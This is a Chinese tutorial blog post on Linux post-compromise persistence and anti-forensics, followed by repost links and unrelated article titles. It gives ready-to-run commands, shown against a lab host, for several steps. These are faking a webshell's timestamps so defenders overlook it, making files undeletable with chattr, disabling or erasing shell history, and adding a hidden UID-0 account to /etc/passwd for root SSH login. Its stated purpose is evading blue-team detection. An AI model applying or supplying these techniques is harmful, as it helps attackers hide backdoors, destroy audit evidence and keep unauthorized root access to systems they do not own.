当前位置: 首页 > news >正文

Linux权限维持之修改文件/终端属性(一)

1.文件创建时间

如果蓝队根据文件修改时间来判断文件是否为后门,如参考index.php的时间再来看shell.php的时间就 可以判断shell.php的生成时间有问题

解决方法:

touch -r index.php shell.php

我们打开终端 新建test.php文件

我们来查看信息

发现两个文件的属性是一样的

touch命令用于修改文件或者目录的时间属性,包括存取时间和更改时间。若文件不存在,系统会建立一个新的文件。

2.文件锁定

在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。

chattr +i evil.php	#锁定文件
rm -rf evil.php	#提示禁止删除
lsattr	evil.php	#属性查看
chattr -i evil.php	#解除锁定
rm -rf evil.php	#彻底删除文件

我们现在先列举出来

ls -al *.php

chattr +i test.php

说明我们权限不够

我们用sudo

这下我们修改好

然后我们来删除这个文件

发现我们不能够删除这个文件

我们来查看属性

lsattr test.php

我们如果要删除 那麽我们 先去掉属性

这下我们就删除了

3.历史操作命令

在shell中执行的命令,不希望被记录在命令行历史中,如何在linux中开启无痕操作模式呢? 技巧一:只针对你的工作关闭历史记录

[space]set +o history	#备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录

上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而 这个命令之前的所有东西都会原样记录在历史列表中。

要重新开启历史功能,执行下面的命令:

[Space]set -o history	#将环境恢复原状

我们首先输入

cat /etc/passwd

然后在输入

history

我们就可以看见刚才输入的指令

然后我们现在输入

[space]set +o history

然后输入ifconfig

然后在输入history

哦我们没有发现指令了

然后我们推出 输入

[Space]set -o history

然后输入ifconfig

然后输入history

发现里边有记录了

技巧二:从历史记录中删除指定的命令

假设历史记录中已经包含了一些你不希望记录的命令。这种情况下我们怎么办?很简单。通过下面的命 令来删除:

history | grep "keyword"

输出历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项:


history -d [num]

删除大规模历史操作记录,这里,我们只保留前150行:

sed -i '150,$d' ~/.bash_history

4.passwd增加用户

/etc/passwd 各部分含义:
用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户登录后所使用的SHELL

/etc/shadow 各部分含义:

用户名:密码的MD5加密值:自系统使用以来口令被修改的天数:口令的最小修改间隔:口令更改的周 期:口令失效的天数:口令失效以后帐号会被锁定多少天:用户帐号到期时间:保留字段尚未使用

写入举例:

1.增加超级用户

perl -le 'print crypt("passwd","salt")' 


sadtCr0CILzv2

echo "m123:sadtCr0CILzv2:0:0:/root:/bin/bash" >> /etc/passwd

首先我们先输入

perl -le 'print crypt("passwd","salt")'

然后生成

sadtCr0CILzv2

然后我们

echo "m123:sadtCr0CILzv2:0:0:/root:/bin/bash" >> /etc/passwd

在输入

cat /etc/passwd

发现已经写入进来

也是root权限

我们打开kail的ssh

ssh m123@192.168.25.153 密码是passwd

权限还是root


文章转载自:

http://9b1nNe8F.rmtbh.cn
http://fjIXkaGA.rmtbh.cn
http://pLgJjiLT.rmtbh.cn
http://JDwHCDPi.rmtbh.cn
http://Gr4kYg57.rmtbh.cn
http://tQYWkUGl.rmtbh.cn
http://PkgyRWAm.rmtbh.cn
http://WOxgCSqw.rmtbh.cn
http://SSZ86pyX.rmtbh.cn
http://77V909R7.rmtbh.cn
http://FA4IKC5r.rmtbh.cn
http://HRdu1u2T.rmtbh.cn
http://1Tpk8DM5.rmtbh.cn
http://hf2aHKDV.rmtbh.cn
http://tlXuPmtE.rmtbh.cn
http://iGo66Oir.rmtbh.cn
http://Y7rHnJt5.rmtbh.cn
http://AIJ1ETof.rmtbh.cn
http://jZzNudUZ.rmtbh.cn
http://LvXxUGOE.rmtbh.cn
http://puACA56h.rmtbh.cn
http://aDtY8UQc.rmtbh.cn
http://8tdI8MaP.rmtbh.cn
http://kBglFWbU.rmtbh.cn
http://A6WZBdFN.rmtbh.cn
http://0F7W0Jcm.rmtbh.cn
http://rkkqgfxG.rmtbh.cn
http://rkZ6awj0.rmtbh.cn
http://QHatFKuV.rmtbh.cn
http://IytuvQA4.rmtbh.cn
http://www.dtcms.com/a/52819.html

相关文章:

  • Redis的CPU高达90%时如何处理
  • todo: 使用融云imserve做登录(android)
  • 前端基础之全局事件总线
  • 第一节:基于Winform框架的串口助手小项目---基础控件使用《C#编程》
  • unity调用本地部署deepseek全流程
  • 【AI深度学习网络】卷积神经网络(CNN)入门指南:从生物启发的原理到现代架构演进
  • 【leetcode hot 100 41】缺失的第一个整数
  • 可狱可囚的爬虫系列课程 16:爬虫重试机制
  • PySide(PyQT)的视图(QGraphicsView)范例(二) 功能规划
  • 系统架构师----中间件技术
  • docker本地部署ollama
  • 快速熟悉JavaScript
  • 机器学习基础——数值计算
  • 【一步解决】docker国内pull失败,镜像源
  • leetcode麻烦又易忘记题目
  • es如何进行refresh?
  • 利用python实现对Excel文件中数据元组的自定义排序
  • 错误: 加载主类时出现 LinkageError,java.lang.UnsupportedClassVersionError 解决方案
  • MLT媒体程序框架03:滤镜——loudness
  • 蓝桥杯 之 前缀和与查分
  • 智谱AI-大模型调用
  • Linux的缓存I/O和无缓存IO
  • 前端监控体系搭建
  • 游戏树搜索与优化策略:Alpha-Beta剪枝及其实例分析
  • DeepSeek×博云AIOS:突破算力桎梏,开启AI普惠新纪元
  • 昇思25天学习打卡营第33天|共赴算力时代
  • 前端性能优化之同时插入100000个元素页面不卡顿
  • my学习网址
  • 2025-3-5 leetcode刷题情况(贪心算法--简单题目)
  • 【监督学习】XGBoost 步骤及matlab实现